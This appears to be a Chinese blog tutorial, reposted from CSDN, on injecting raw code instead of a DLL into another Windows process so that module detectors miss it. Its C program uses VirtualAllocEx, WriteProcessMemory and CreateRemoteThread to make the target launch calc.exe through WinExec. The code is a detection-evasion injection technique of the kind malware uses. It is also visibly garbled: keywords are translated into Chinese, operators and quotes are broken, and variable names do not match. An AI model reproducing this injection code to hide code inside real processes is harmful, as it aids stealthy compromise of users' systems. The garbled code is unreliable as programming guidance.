控制目标进程加载自己的dll文件很容易被模块检测器检测到,因此可以将一段代码注入到目标进程而不是模块中来绕过检测器。
1 注入代码编写原则
(1)全局变量不能存在
(2) 不允许常量字符串
(3) 不能使用系统调用
(4) 不能嵌套调用其他函数
如果使用上述方法创建一个函数并进行反汇编,您将看到它的访问地址是固定的。这个固定地址的机器代码不能被注入到其他进程中。
2 传递参数和函数
如果遵循以上四个编写原则,就可以利用Windows提供的API为目标进程编写参数和函数并执行。该方法不添加模块。
3 实验
首先,编写注入代码。
#include Windows.h
typedef 结构体参数块
{
DWORD LoadExeFunAddr;
LPCSTR lpCmdLine;
UINT uCmdShow;
}参数块,*PParameterBlock;
typedef HANDLE(WINAPI* LoadExe)(
LPCSTR lpCmdLine,
UINT uCmdShow
);
DWORD WINAPI ThreadProc(LPVOID lParam) {
PParameterBlock pb=(PParameterBlock)lParam;
LoadExe 文件=(LoadExe)pb-LoadExeFunAddr;
le(pb-lpCmdLine, pb-uCmdShow);
返回0。
}
BOOL LoadParamAndFun(DWORD PID, char* ExeName) {
参数块pb;
双字型FunSize=0x400;
//1. 获取进程句柄。
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
//2. 分配参数、函数和可执行文件名称。
LPVOID ParamBlockAddr=VirtualAllocEx(hProc, NULL, sizeof(pb), MEM_COMMIT, PAGE_READWRITE);
LPVOID NewThreadAddr=VirtualAllocEx(hProc, NULL, FunSize, MEM_COMMIT, PAGE_READWRITE);
LPVOID ExeNameAddr=VirtualAllocEx(hProc, NULL, strlen(ExeName) + 1, MEM_COMMIT, PAGE_READWRITE);
//3. 为结构体赋值。
pb.uCmdShow=SW_SHOWNORMAL;
//4. 获取WinExec的地址。
HMODULE hMoudle=LoadLibrary(\’kernel32.dll\’);
pb.LoadExeFunAddr=(DWORD)GetProcAddress(hMoudle, \’WinExec\’);
FreeLibrary(hMoudle);
//初始化5.exe名称
pb.lpCmdLine=(LPCSTR)ExeNameAddr;
//6.改变线程函数的起始位置。
DWORD FunAddr=(DWORD)ThreadProc;
如果(*(字节*)FunAddr==0xE9){
FunAddr=FunAddr + 5 + *(DWORD*)(FunAddr + 1);
}
//7. 传输结构、参数和函数
WriteProcessMemory(hProc, ParamBlockAddr, pb, sizeof(pb), 0);
WriteProcessMemory(hProc, NewThreadAddr, (LPVOID)FunAddr, FunSize, 0);
WriteProcessMemory(hProc, ExeNameAddr, ExeName, strlen(ExeName) + 1, 0);
//8. 创建远程线程。
HANDLE pThread=CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)NewThreadAddr, ParamBlockAddr, 0, NULL);
关闭句柄(hProc);
返回TRUE。
}
int main() {
LoadParamAndFun(3752, \’E:\\\\Windows\\\\system32\\\\calc.exe\’);
返回0。
}
它使用Windows提供的一个API,即WinExec函数,可以运行exe程序。相关参数含义请参考微软文档。
UINT WinExec(
[输入] LPCSTR lpCmdLine,
[输入] UINT uCmdShow
);
然后启动记事本程序并显示其PID。
将PID和计算器的地址输入到程序中。
当我编译并运行它时,计算器运行并且实验成功。
4 代码解释
这一部分我们主要讲一下注意事项6,即为什么要改变接收函数的地址。这可以通过打开拆解来轻松验证。
原来函数的起始地址并不是函数的实际地址,而是一个跳转。在上图中,0B81840是该函数的实际地址。因此需要进行函数地址转换,将函数的实际内容复制到目标进程内存中。
5 踩坑和疑问
1、该程序在物理机Win10环境下直接导致注入进程崩溃,但在虚拟机XP环境下可以成功运行。
2.我开始写代码的时候,没有去掉项目自动生成的#include iostream。然而,经过实验,我发现如果我继续运行这一行,插入的进程就会崩溃。我不知道为什么。
3. 看下面的代码。没有将ParameterBlock 和LoadExe 转发到注入的进程。那么注入的进程如何识别这些结构呢?
以上关于代码注入启动#calculator的相关内容摘自网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93773.html